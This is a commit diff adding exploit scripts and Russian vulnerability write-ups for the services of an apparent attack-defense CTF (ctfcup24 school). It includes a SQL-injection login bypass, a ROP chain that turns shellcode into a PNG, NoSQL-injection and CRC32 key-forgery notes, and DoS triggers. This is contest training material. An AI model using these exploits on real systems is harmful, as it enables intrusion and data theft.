adding validated services? patching forcad_local.py
This commit is contained in:
0
ctfcup24-school-ad/sploits/.keep
Normal file
0
ctfcup24-school-ad/sploits/.keep
Normal file
15
ctfcup24-school-ad/sploits/example/unprotected_read.py
Executable file
15
ctfcup24-school-ad/sploits/example/unprotected_read.py
Executable file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
hint = sys.argv[2]
|
||||
|
||||
url = f"http://{ip}:1337/get_note"
|
||||
|
||||
r = requests.post(url, json={
|
||||
"name": hint,
|
||||
})
|
||||
|
||||
print(r.json()["note"], flush=True)
|
||||
14
ctfcup24-school-ad/sploits/filtranator/README.md
Normal file
14
ctfcup24-school-ad/sploits/filtranator/README.md
Normal file
@@ -0,0 +1,14 @@
|
||||
## Сервис `filtranator`
|
||||
Сервис представляет собой приложение на Python (Flask), которое позволяет регистрироваться, логиниться и загружать картинки на сервер, после чего применять на них фильтры.
|
||||
Флаг хранится в поле `flag` в info метаданных каждой картинки, а также его можно прочитать c картинки напрямую.
|
||||
Также присутствует функциональность получения картинки для авторизованного пользователя.
|
||||
|
||||
## Уязвимости сервиса `filtranator`
|
||||
1. SQL injection в авторизации (Функция login).
|
||||
2. Stack overflow в бинарном приложении filterer. (Можно его разреверсить)
|
||||
|
||||
|
||||
В папке binary_rce содержится эксплойт, который позволяет пользователю записать и исполнить произвольный шеллкод( вы сами можете написать себе полезную нагрузку).
|
||||
|
||||
## DoS
|
||||
Если попытаться сделать неправильную sql иньекцию, то подключение к бд сломается и сервис перестанет нормально работать. Лечится перезапуском или запретом спецсимволов в регистрации или в логине.
|
||||
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/exploit.png
Normal file
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/exploit.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.0 MiB |
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/filterer
Executable file
BIN
ctfcup24-school-ad/sploits/filtranator/binary_rce/filterer
Executable file
Binary file not shown.
110106
ctfcup24-school-ad/sploits/filtranator/binary_rce/gadjets
Normal file
110106
ctfcup24-school-ad/sploits/filtranator/binary_rce/gadjets
Normal file
File diff suppressed because it is too large
Load Diff
128
ctfcup24-school-ad/sploits/filtranator/binary_rce/sploit.py
Executable file
128
ctfcup24-school-ad/sploits/filtranator/binary_rce/sploit.py
Executable file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This exploit template was generated via:
|
||||
# $ pwn template ./filterer
|
||||
from pwn import *
|
||||
from PIL import Image
|
||||
import random
|
||||
# Many built-in settings can be controlled on the command-line and show up
|
||||
# in "args". For example, to dump all data sent/received, and disable ASLR
|
||||
# for all created processes...
|
||||
# ./exploit.py DEBUG NOASLR
|
||||
|
||||
|
||||
def start(argv=[], *a, **kw):
|
||||
"""Start the exploit against the target."""
|
||||
if args.GDB:
|
||||
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
else:
|
||||
return process([exe.path] + argv, *a, **kw)
|
||||
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
# GDB will be launched if the exploit is run via e.g.
|
||||
# ./exploit.py GDB
|
||||
gdbscript = """
|
||||
tbreak main
|
||||
continue
|
||||
""".format(**locals())
|
||||
|
||||
# ===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
# ===========================================================
|
||||
# Arch: amd64-64-little
|
||||
# RELRO: Partial RELRO
|
||||
# Stack: Canary found
|
||||
# NX: NX enabled
|
||||
# PIE: No PIE (0x400000)
|
||||
# Stripped: No
|
||||
# Debuginfo: Yes
|
||||
|
||||
# io = start()
|
||||
|
||||
|
||||
def set_number(pay, num, index, bytex):
|
||||
kekx = b""
|
||||
for i in range(bytex):
|
||||
kekx += ((num >> (8 * i)) & 0xFF).to_bytes(1, "little")
|
||||
print(kekx)
|
||||
pay2 = pay[:index] + kekx + pay[index + bytex :]
|
||||
return pay2
|
||||
|
||||
|
||||
payload = b"\x00" * 4194900
|
||||
ret_addr_index = 4194304 + 9 * 8
|
||||
|
||||
pop_rdi_pop_rbp = 0x0000000000403015
|
||||
|
||||
pop_rsi_pop_rbp = 0x0000000000425A2B
|
||||
|
||||
pop_rax = 0x0000000000402324
|
||||
|
||||
pop_r8 = 0x00000000005690BB
|
||||
|
||||
syscall = 0x00000000560C40
|
||||
|
||||
call_rsp = 0x0000000000527509
|
||||
|
||||
pop_rdx_r12_rbp = 0x00000000004F4C44
|
||||
|
||||
memcpy = 0x0000000052EE20
|
||||
|
||||
call_rax = 0x000000000042AFBF
|
||||
|
||||
mov_qword_r8_rsi = 0x000000000059FCA7
|
||||
|
||||
pop_rcx = 0x0000000000530823
|
||||
|
||||
# mprotect binary base to rwx (0x400000 addr)
|
||||
|
||||
payload = set_number(payload, pop_rdx_r12_rbp, 4194304 + 8 * 9, 8)
|
||||
payload = set_number(payload, 0x1000, 4194304 + 8 * 10, 8)
|
||||
payload = set_number(payload, 0, 4194304 + 8 * 11, 8)
|
||||
payload = set_number(payload, 0, 4194304 + 8 * 12, 8)
|
||||
|
||||
payload = set_number(payload, pop_rdi_pop_rbp, 4194304 + 8 * 13, 8)
|
||||
payload = set_number(payload, 0xA, 4194304 + 8 * 14, 8)
|
||||
payload = set_number(payload, 0x0, 4194304 + 8 * 15, 8)
|
||||
|
||||
|
||||
payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 16, 8)
|
||||
payload = set_number(payload, 0x400000, 4194304 + 8 * 17, 8)
|
||||
payload = set_number(payload, 0, 4194304 + 8 * 18, 8)
|
||||
|
||||
payload = set_number(payload, pop_rcx, 4194304 + 8 * 19, 8)
|
||||
payload = set_number(payload, 0x7, 4194304 + 8 * 20, 8)
|
||||
|
||||
|
||||
payload = set_number(payload, syscall, 4194304 + 8 * 21, 8)
|
||||
|
||||
|
||||
# write shellcode in rwx via gadjet (0x400000 addr)
|
||||
|
||||
payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 22, 8)
|
||||
payload = set_number(payload, 0x13371337, 4194304 + 8 * 23, 8)
|
||||
payload = set_number(payload, 0x0, 4194304 + 8 * 24, 8)
|
||||
payload = set_number(payload, pop_r8, 4194304 + 8 * 25, 8)
|
||||
payload = set_number(payload, 0x400000, 4194304 + 8 * 26, 8)
|
||||
payload = set_number(payload, mov_qword_r8_rsi, 4194304 + 8 * 27, 8)
|
||||
|
||||
# return to sprayed shellcode
|
||||
payload = set_number(payload, 0x400000, 4194304 + 8 * 28, 8)
|
||||
|
||||
print(payload[4194304 + 9 * 8])
|
||||
|
||||
# print(payload)
|
||||
|
||||
im = Image.new("RGB", (4194900 // 3, 1))
|
||||
|
||||
# pix = im.load()
|
||||
|
||||
for i in range((4194304 + 9 * 8) // 3, 4194900 // 3):
|
||||
for j in range(1):
|
||||
im.putpixel((i, j), (payload[i * 3], payload[i * 3 + 1], payload[i * 3 + 2]))
|
||||
print(payload[i * 3])
|
||||
|
||||
im.save("exploit.png", compress_level=0)
|
||||
|
||||
# io.interactive()
|
||||
20
ctfcup24-school-ad/sploits/filtranator/sql/sploit.py
Executable file
20
ctfcup24-school-ad/sploits/filtranator/sql/sploit.py
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/usr//bin/python3
|
||||
import io
|
||||
import requests
|
||||
|
||||
|
||||
IP = 'http://localhost'
|
||||
PORT = '6969'
|
||||
|
||||
def main():
|
||||
sess = requests.Session()
|
||||
username = from_attack
|
||||
resp = sess.post(
|
||||
IP + ":" + PORT + "/login", data={"username": username, "password": "' OR 1=1 --"}
|
||||
)
|
||||
print(resp.text)
|
||||
resp = sess.get(IP + ":" + PORT + "/images")
|
||||
print(resp.text)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
26
ctfcup24-school-ad/sploits/flysim/README.md
Normal file
26
ctfcup24-school-ad/sploits/flysim/README.md
Normal file
@@ -0,0 +1,26 @@
|
||||
## Сервис `flysim`
|
||||
Сервис представляет собой приложение на Python (Flask, SocketIO, gunicorn), симулирующее работу дронов - можно создать дрон, назначить ему скорость, полётный план (на какой секунде ускориться, поменять частоту) и наблюдать за его полётом (изменяются координаты каждый тик ~1сек). "Наблюдение" идёт через socket.io (websocket или polling).
|
||||
Флаг хранится в поле `secret_data`, и его можно узнать, лишь подключившись к дрону по socket.io с правильным `control_key` (штатным образом, без использования уязвимостей).
|
||||
Также присутствует функциональность получения всех созданных дронов (только id) и более детальный интерфейс (можно найти дрон с определённым label, причём получить все его данные за исключением приватных ("control_key", "secret_data", "flight_plan", "flight_log")).
|
||||
|
||||
## Уязвимости сервиса `flysim`
|
||||
1. NoSQL injection в параметре what= (`sploit_nosql.py`). Помимо "$match", можно дописать и "$lookup", сматчив все строки (`{"$match": {"label": {"$regex": "^.*"}}}`).
|
||||
2. CRC32 используется в `session_authenticator.generate(drone_id, label)` (это можно понять, отреверсив .so-шник, скомпиленный codon-ом) (`sploit_crc32.py`)
|
||||
3. В flight plan можно вызвать get_var (`sploit_flight_plan.py`) помимо "стандартных" операций типа BOOSTX/BOOSTY/FIRE/SETFREQ, `func = globals().get(command_name)` - get_var входит в globals.
|
||||
|
||||
## DoS
|
||||
`./client create --label asdf --flight-plan "BOOSTX [drone] 200\nBOOSTY [drone] 400\n"` (намеренно пропущено время запуска: не `0 BOOSTX [drone] 200`, а `BOOSTX [drone] 200`)
|
||||
Приведёт к ошибке:
|
||||
```
|
||||
flysim_1 | Traceback (most recent call last):
|
||||
flysim_1 | File "src/gevent/greenlet.py", line 900, in gevent._gevent_cgreenlet.Greenlet.run
|
||||
flysim_1 | File "/app/server.py", line 214, in run_update_positions
|
||||
flysim_1 | update_positions()
|
||||
flysim_1 | File "/app/server.py", line 176, in update_positions
|
||||
flysim_1 | process_flight_plan(drone, cur_time)
|
||||
flysim_1 | File "/app/flight_plans.py", line 50, in process_flight_plan
|
||||
flysim_1 | expected_time = int(parts[0])
|
||||
flysim_1 | ^^^^^^^^^^^^^
|
||||
flysim_1 | ValueError: invalid literal for int() with base 10: 'BOOSTX'
|
||||
```
|
||||
При этом цикл, отвечающий за обновление данных обо всех дронах и рассылку сообщений в socket.io-комнаты, перестанет работать и чекер будет timeout-ится в ожидании сообщения, которое не поступит.
|
||||
31
ctfcup24-school-ad/sploits/flysim/client/USAGE.txt
Normal file
31
ctfcup24-school-ad/sploits/flysim/client/USAGE.txt
Normal file
@@ -0,0 +1,31 @@
|
||||
create drone:
|
||||
./client create --ip 10.80.1.2
|
||||
|
||||
you can also specify label and (or) flight plan
|
||||
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
|
||||
|
||||
connect:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
|
||||
|
||||
connect with setting position and (or) velocity:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
|
||||
|
||||
by default, client keeps connection for 30 seconds. if you need more, add --duration:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
|
||||
|
||||
list drones (only ids):
|
||||
./client list-drones --ip 10.80.1.2
|
||||
|
||||
list drones (detailed):
|
||||
./client list-drones-details --ip 10.80.1.2
|
||||
|
||||
list details but only for one drone (by label):
|
||||
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
|
||||
|
||||
do not forget to use --help:
|
||||
|
||||
./client --help
|
||||
./client create --help
|
||||
./client connect --help
|
||||
./client list-drones --help
|
||||
./client list-drones-details --help
|
||||
10
ctfcup24-school-ad/sploits/flysim/client/building.txt
Normal file
10
ctfcup24-school-ad/sploits/flysim/client/building.txt
Normal file
@@ -0,0 +1,10 @@
|
||||
sudo apt install python3.12-venv
|
||||
|
||||
python3.12 -m venv flysim_client
|
||||
source flysim_client/bin/activate
|
||||
pip3.12 install -r requirements.txt
|
||||
pip3.12 install pyinstaller staticx
|
||||
|
||||
python3.12 -m PyInstaller --onefile client
|
||||
staticx dist/client dist/client_static
|
||||
# dist/client_static is the file you need
|
||||
113
ctfcup24-school-ad/sploits/flysim/client/client
Executable file
113
ctfcup24-school-ad/sploits/flysim/client/client
Executable file
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import click
|
||||
import drone_client
|
||||
import json
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
|
||||
class OrderedGroup(click.Group):
|
||||
def list_commands(self, ctx):
|
||||
# Return commands in the order they are defined
|
||||
return self.commands.keys()
|
||||
|
||||
|
||||
@click.group(cls=OrderedGroup)
|
||||
def cli():
|
||||
"""Drone Control CLI"""
|
||||
pass
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option("--label", help="Drone label")
|
||||
@click.option("--secret-data", help="Secret data for the drone")
|
||||
@click.option("--flight-plan", help="Flight plan for the drone")
|
||||
def create(ip, label, secret_data, flight_plan):
|
||||
"""Create a new drone"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
|
||||
if not client.create_drone(
|
||||
label=label,
|
||||
secret_data=secret_data,
|
||||
flight_plan=flight_plan.replace(r"\n", "\n") if flight_plan else None,
|
||||
):
|
||||
click.echo("Failed to create drone")
|
||||
return
|
||||
|
||||
credentials = {
|
||||
"drone_id": client.drone_id,
|
||||
"control_key": client.control_key,
|
||||
"ip": ip,
|
||||
}
|
||||
|
||||
click.echo(f"Drone created successfully:")
|
||||
click.echo(f"Drone ID: {client.drone_id}")
|
||||
click.echo(f"Control Key: {client.control_key}")
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option("--drone-id", required=True, help="Drone ID")
|
||||
@click.option("--control-key", required=True, help="Control key")
|
||||
@click.option("--position", type=(float, float), help="Position coordinates (x, y)")
|
||||
@click.option("--velocity", type=(float, float), help="Velocity vector (vx, vy)")
|
||||
@click.option(
|
||||
"--duration", default=30, help="Duration to keep connection alive (seconds)"
|
||||
)
|
||||
def connect(ip, drone_id, control_key, position, velocity, duration):
|
||||
"""Connect to an existing drone"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
client.drone_id = drone_id
|
||||
client.control_key = control_key
|
||||
|
||||
if not client.connect_to_drone():
|
||||
click.echo("Failed to connect to drone")
|
||||
return
|
||||
|
||||
click.echo(f"Connected to drone {drone_id}")
|
||||
|
||||
if position:
|
||||
client.update_position(list(position))
|
||||
click.echo(f"Updated position to {position}")
|
||||
|
||||
if velocity:
|
||||
client.update_velocity(list(velocity))
|
||||
click.echo(f"Updated velocity to {velocity}")
|
||||
|
||||
click.echo(f"Keeping connection alive for {duration} seconds...")
|
||||
time.sleep(duration)
|
||||
|
||||
client.disconnect()
|
||||
click.echo("Disconnected from drone")
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
def list_drones(ip):
|
||||
"""List all available drones"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
client.get_all_drones()
|
||||
|
||||
|
||||
@cli.command()
|
||||
@click.option("--ip", default="127.0.0.1", help="Server IP address")
|
||||
@click.option(
|
||||
"--label",
|
||||
"label",
|
||||
help="Target drone label. If label is not specified, all drones are shown.",
|
||||
)
|
||||
def list_drones_details(ip, label):
|
||||
"""List drone(s) with detailed information"""
|
||||
client = drone_client.DroneClient(ip)
|
||||
if label:
|
||||
print(
|
||||
client.get_drones_with_details(json.dumps([{"$match": {"label": label}}]))
|
||||
)
|
||||
else:
|
||||
print(client.get_drones_with_details(json.dumps([{"$match": {}}])))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
135
ctfcup24-school-ad/sploits/flysim/client/drone_client.py
Normal file
135
ctfcup24-school-ad/sploits/flysim/client/drone_client.py
Normal file
@@ -0,0 +1,135 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
# def print(*args, **kwargs):
|
||||
# pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
print(data)
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
@@ -0,0 +1,4 @@
|
||||
requests==2.32.3
|
||||
python-socketio==5.11.4
|
||||
websocket-client==1.8.0
|
||||
click==8.1.7
|
||||
132
ctfcup24-school-ad/sploits/flysim/drone_client.py
Normal file
132
ctfcup24-school-ad/sploits/flysim/drone_client.py
Normal file
@@ -0,0 +1,132 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
def print(*args, **kwargs):
|
||||
pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
12
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/build.sh
Executable file
12
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/build.sh
Executable file
@@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
# https://github.com/exaloop/codon
|
||||
|
||||
rm -rf build
|
||||
rm -rf *.so
|
||||
python3 setup.py build_ext --inplace
|
||||
rm -rf build
|
||||
mv session_authenticator.cpython*.so session_authenticator.so
|
||||
echo "Testing"
|
||||
python3 -c "import session_authenticator; print(session_authenticator.generate('a', 'bc'))"
|
||||
|
||||
# you need only session_authenticator.so file
|
||||
@@ -0,0 +1,21 @@
|
||||
import time
|
||||
def generate_control_key(_id: str, label: str) -> str:
|
||||
msg = _id + label
|
||||
crc = 0xFFFFFFFF
|
||||
polynomial = 0xEDB88320
|
||||
|
||||
for char in msg:
|
||||
crc ^= ord(char)
|
||||
for _ in range(8):
|
||||
if crc & 1:
|
||||
crc = (crc >> 1) ^ polynomial
|
||||
else:
|
||||
crc >>= 1
|
||||
|
||||
return hex(crc ^ 0xFFFFFFFF)[2:]
|
||||
|
||||
def generate(_id: str, label: str) -> str:
|
||||
return generate_control_key(_id, label)
|
||||
|
||||
def verify(_id: str, label: str, control_key: str) -> bool:
|
||||
return generate_control_key(_id, label) == control_key
|
||||
91
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/setup.py
Executable file
91
ctfcup24-school-ad/sploits/flysim/session_authenticator_codon/setup.py
Executable file
@@ -0,0 +1,91 @@
|
||||
# setup.py
|
||||
import os
|
||||
import sys
|
||||
import shutil
|
||||
from pathlib import Path
|
||||
from setuptools import setup, Extension
|
||||
from setuptools.command.build_ext import build_ext
|
||||
|
||||
# Find Codon
|
||||
codon_path = os.environ.get('CODON_DIR')
|
||||
if not codon_path:
|
||||
c = shutil.which('codon')
|
||||
if c:
|
||||
codon_path = Path(c).parent / '..'
|
||||
else:
|
||||
codon_path = Path(codon_path)
|
||||
for path in [
|
||||
os.path.expanduser('~') + '/.codon',
|
||||
os.getcwd() + '/..',
|
||||
]:
|
||||
path = Path(path)
|
||||
if not codon_path and path.exists():
|
||||
codon_path = path
|
||||
break
|
||||
|
||||
if (
|
||||
not codon_path
|
||||
or not (codon_path / 'include' / 'codon').exists()
|
||||
or not (codon_path / 'lib' / 'codon').exists()
|
||||
):
|
||||
print(
|
||||
'Cannot find Codon.',
|
||||
'Please either install Codon (https://github.com/exaloop/codon),',
|
||||
'or set CODON_DIR if Codon is not in PATH.',
|
||||
file=sys.stderr,
|
||||
)
|
||||
sys.exit(1)
|
||||
codon_path = codon_path.resolve()
|
||||
print('Found Codon:', str(codon_path))
|
||||
|
||||
# Build with Codon
|
||||
class CodonExtension(Extension):
|
||||
def __init__(self, name, source):
|
||||
self.source = source
|
||||
super().__init__(name, sources=[], language='c')
|
||||
|
||||
class BuildCodonExt(build_ext):
|
||||
def build_extensions(self):
|
||||
pass
|
||||
|
||||
def run(self):
|
||||
inplace, self.inplace = self.inplace, False
|
||||
super().run()
|
||||
for ext in self.extensions:
|
||||
self.build_codon(ext)
|
||||
if inplace:
|
||||
self.copy_extensions_to_source()
|
||||
|
||||
def build_codon(self, ext):
|
||||
extension_path = Path(self.get_ext_fullpath(ext.name))
|
||||
build_dir = Path(self.build_temp)
|
||||
os.makedirs(build_dir, exist_ok=True)
|
||||
os.makedirs(extension_path.parent.absolute(), exist_ok=True)
|
||||
|
||||
codon_cmd = str(codon_path / 'bin' / 'codon')
|
||||
optimization = '-debug' if self.debug else '-release'
|
||||
self.spawn([codon_cmd, 'build', optimization, '--relocation-model=pic', '-pyext',
|
||||
'-o', str(extension_path) + ".o", '-module', ext.name, ext.source])
|
||||
|
||||
ext.runtime_library_dirs = [str(codon_path / 'lib' / 'codon')]
|
||||
self.compiler.link_shared_object(
|
||||
[str(extension_path) + '.o'],
|
||||
str(extension_path),
|
||||
libraries=['codonrt'],
|
||||
library_dirs=ext.runtime_library_dirs,
|
||||
runtime_library_dirs=ext.runtime_library_dirs,
|
||||
extra_preargs=['-Wl,-rpath,@loader_path'],
|
||||
debug=self.debug,
|
||||
build_temp=self.build_temp,
|
||||
)
|
||||
self.distribution.codon_lib = extension_path
|
||||
|
||||
setup(
|
||||
name='session_authenticator',
|
||||
version='0.1',
|
||||
packages=['session_authenticator'],
|
||||
ext_modules=[
|
||||
CodonExtension('session_authenticator', 'session_authenticator.codon'),
|
||||
],
|
||||
cmdclass={'build_ext': BuildCodonExt}
|
||||
)
|
||||
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
34
ctfcup24-school-ad/sploits/flysim/sploit_crc32.py
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
import zlib
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
